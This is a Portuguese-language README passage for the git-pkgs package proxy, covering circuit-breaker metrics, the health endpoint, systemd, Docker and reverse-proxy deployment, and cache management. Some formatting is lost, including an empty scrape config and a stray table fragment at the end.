O tamanho do cache e a contagem de artefatos são atualizados a cada 60 segundos. O estado do circuit breaker é lido do fetcher a cada coleta de `/metrics` e a cada requisição de `/health`, então `proxy_circuit_breaker_trips_total` conta os acionamentos visíveis entre essas leituras — um breaker que abre e se recupera inteiramente entre duas coletas não é contado. As métricas restantes são atualizadas a cada requisição.
As métricas do breaker carregam uma série por host upstream, mas apenas para hosts cujo breaker foi acionado pelo menos uma vez desde a inicialização. Um breaker é criado por host do qual o proxy busca artefatos, e para alguns ecossistemas esse host vem de metadados upstream em vez de configuração (composer o obtém de `dist.url` de um pacote, helm das URLs de chart em `index.yaml`), então publicar todos os hosts permitiria que o conteúdo upstream aumentasse a contagem de séries durante o tempo de vida do processo. Uma vez que um host foi acionado, ele continua reportando, então uma recuperação ainda aparece como uma transição para 0 em vez de uma série que desaparece. `/health` não é uma série temporal persistente e lista todos os breakers, acionados ou não.
O label `registry` é o host da URL de onde o artefato foi buscado. Como essa URL pode vir de metadados upstream, nem sempre é possível extrair um host dela — uma `dist.url` assinada que falha ao ser analisada, por exemplo — e tal breaker é rotulado como `hostless-url-<digest>`, onde o digest é baseado em um valor gerado na inicialização. Nem `/metrics` nem `/health` exigem autenticação, então uma URL de busca nunca é publicada como label ou chave; o digest identifica o breaker enquanto o processo estiver em execução sem revelar a URL por trás dele ou permitir que uma URL escolhida seja comparada a ele.
Crie alertas para `proxy_circuit_breaker_state == 2` sustentado por mais de alguns minutos: enquanto um breaker está aberto, os downloads de artefatos para aquele upstream falham com HTTP 502 em cada erro de cache, e apenas uma única requisição de sondagem por intervalo de backoff chega ao upstream. Os artefatos em cache continuam sendo servidos, assim como os metadados para o mesmo ecossistema (os metadados não passam pelo circuit breaker), então as instalações falham de uma forma que se parece com uma indisponibilidade parcial do upstream.
### Verificação de Saúde
`/health` retorna um relatório JSON estruturado da saúde dos subsistemas. HTTP 200 se todas as verificações passarem; 503 se alguma falhar.```json
{
"status": "ok",
"checks": {
"database": {"status": "ok"},
"storage": {"status": "ok"}
},
"circuit_breakers": {
"registry.npmjs.org": "closed",
"static.crates.io": "open"
}
}
Verificações com falha incluem um campo "error". Falhas de armazenamento também incluem um campo "step" que identifica qual etapa da sondagem falhou (write, size, read, verify, delete). Quando a verificação do banco de dados falha, a entrada de armazenamento reporta {"status": "skipped"} para que a resposta sempre carregue o mesmo conjunto de chaves.
circuit_breakers reporta o estado do circuit breaker de busca de artefatos de cada upstream ("open" ou "closed"), indexado pelo host do upstream — ou pelo placeholder hostless-url-<digest> descrito em Monitoring quando a URL de busca não tem host para ler. A chave é omitida até que o proxy tenha buscado um artefato de pelo menos um upstream, e um host aparece apenas depois que um breaker foi criado para ele. Os breakers disparam após falhas repetidas do upstream e tentam novamente o upstream após um backoff exponencial. Enquanto um está aberto, os downloads de artefatos para esse host retornam HTTP 502 em um cache miss sem contatar o upstream; artefatos já em cache ainda são servidos do armazenamento, já que o cache é verificado antes do fetcher. Um breaker é reportado como "open" durante todo o seu backoff, incluindo a janela half-open na qual ele admite uma requisição de sondagem para testar a recuperação. O estado do breaker é por processo e em memória, então um reinício o limpa, mas um reinício não é necessário para a recuperação: o backoff continua tentando novamente enquanto o breaker estiver aberto, então ele fecha sozinho assim que o upstream voltar a servir.
Um breaker aberto não define status como "error" nem altera o código de status HTTP: ele reporta um upstream específico se recusando a servir, não que este proxy esteja inapto a receber tráfego, e falhar a sondagem de readiness por causa de um upstream não saudável tiraria o pod de rotação para todos os outros ecossistemas também. Use proxy_circuit_breaker_state para alertar sobre isso.
Os resultados da sondagem de armazenamento são armazenados em cache por health.storage_probe_interval (padrão 30s) para limitar o custo de sondar backends remotos. Uma sondagem mantém um mutex interno por até 10 segundos (o timeout por sondagem codificado em hardcode), então /health é destinado a ser uma sondagem de readiness do Kubernetes em vez de uma sondagem de liveness — um round-trip lento do S3 deve tirar o pod de rotação, não reiniciá-lo.
Configuração de scrape para o Prometheus:```yaml scrape_configs:
## Implantação em Produção
### Serviço Systemd
Crie `/etc/systemd/system/proxy.service`:```ini
[Unit]
Description=git-pkgs proxy
After=network.target
[Service]
Type=simple
User=proxy
ExecStart=/usr/local/bin/proxy -config /etc/proxy/config.yaml
Restart=always
RestartSec=5
[Install]
WantedBy=multi-user.target
Ativar e iniciar:```bash sudo systemctl enable proxy sudo systemctl start proxy
### Docker
Um Dockerfile está incluído no repositório. Compile e execute:```bash
docker build -t proxy .
docker run -p 8080:8080 -v proxy-data:/data proxy
Com Postgres e S3:```bash
docker run -p 8080:8080
-e PROXY_DATABASE_DRIVER=postgres
-e PROXY_DATABASE_URL=postgres://user:pass@db:5432/proxy
-e PROXY_STORAGE_URL=s3://my-bucket?region=us-east-1
-e AWS_ACCESS_KEY_ID=...
-e AWS_SECRET_ACCESS_KEY=...
proxy
### Atrás de um Proxy Reverso
Ao executar atrás do nginx, Apache ou outro proxy reverso, defina `base_url` para o seu URL público:```yaml
base_url: "https://proxy.example.com"
Se a UI for acessada em um hostname diferente dos endpoints do pacote — por exemplo, a UI exposta publicamente em um domínio enquanto as máquinas de build acessam um alias de rede Docker — defina ui_base_url separadamente. base_url é a URL que os gerenciadores de pacotes e a reescrita de metadados usam; ui_base_url é a URL anunciada para humanos que visitam a UI web (tags canônicas/og:url e o banner do guia de instalação):```yaml
base_url: "http://pkg-proxy:8080" # internal alias for build machines
ui_base_url: "https://proxy.example.com/ui" # public UI URL
Quando não definido, `ui_base_url` assume o valor de `base_url`.
> **Aviso:** o proxy serve a UI e os endpoints de pacotes no mesmo listener. Definir `ui_base_url` apenas altera qual URL a UI anuncia para humanos; não impede que os endpoints de pacotes sejam acessíveis no mesmo hostname e porta. Ao colocar o proxy atrás de um reverse proxy público, restrinja a rota pública a `PathPrefix(/ui)` (ou o equivalente do seu proxy), caso contrário `/npm`, `/pypi` e os demais endpoints de pacotes permanecem expostos junto com a UI.
Exemplo de nginx, restringindo o host público à UI enquanto deixa os endpoints de pacotes acessíveis apenas no listener interno:```nginx
server {
listen 443 ssl;
server_name proxy.example.com;
location /ui/ {
proxy_pass http://127.0.0.1:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_buffering off;
}
location / {
return 404;
}
}
Exemplo do Traefik usando PathPrefix(/ui) para que o roteador público corresponda apenas ao tráfego da UI:```yaml
labels:
traefik.enable: "true"
traefik.http.services.pkg-proxy.loadbalancer.server.port: "8080"
traefik.http.routers.pkg-proxy.rule: "Host(proxy.example.com) && PathPrefix(/ui)"
traefik.http.routers.pkg-proxy.entrypoints: "websecure"
## Gerenciamento de Cache
O proxy armazena artefatos no diretório de armazenamento configurado com esta estrutura:```
cache/artifacts/
├── npm/
│ └── lodash/
│ └── 4.17.21/
│ └── lodash-4.17.21.tgz
├── cargo/
│ └── serde/
│ └── 1.0.193/
│ └── serde-1.0.193.crate
├── oci/
│ └── library/nginx/
│ └── sha256:abc123.../
│ └── sha256:abc123...
├── deb/
│ └── nginx/
│ └── 1.18.0-6/
│ └── nginx_1.18.0-6_amd64.deb
└── rpm/
└── nginx/
└── 1.24.0-1.fc39/
└── nginx-1.24.0-1.fc39.x86_64.rpm
Os metadados de cache são armazenados em SQLite (padrão) ou PostgreSQL. Para limpar um cache local:```bash rm -rf ./cache/artifacts/* rm ./cache/proxy.db
O proxy recriará o banco de dados na próxima inicialização.
## Compilando a partir do código-fonte
Requisitos:
- Go (a versão do projeto está declarada em `go.mod`)```bash
git clone https://github.com/git-pkgs/proxy.git
cd proxy
go build -o proxy ./cmd/proxy
Executar testes:```bash go test ./...
## Licença
GPL-3.0-or-later
| ✗ |
| Chef | Chef | ✗ |
| Generic | Qualquer | ✓ |
| Helm | Kubernetes | ✓ |
| Vagrant | Vagrant | ✗ |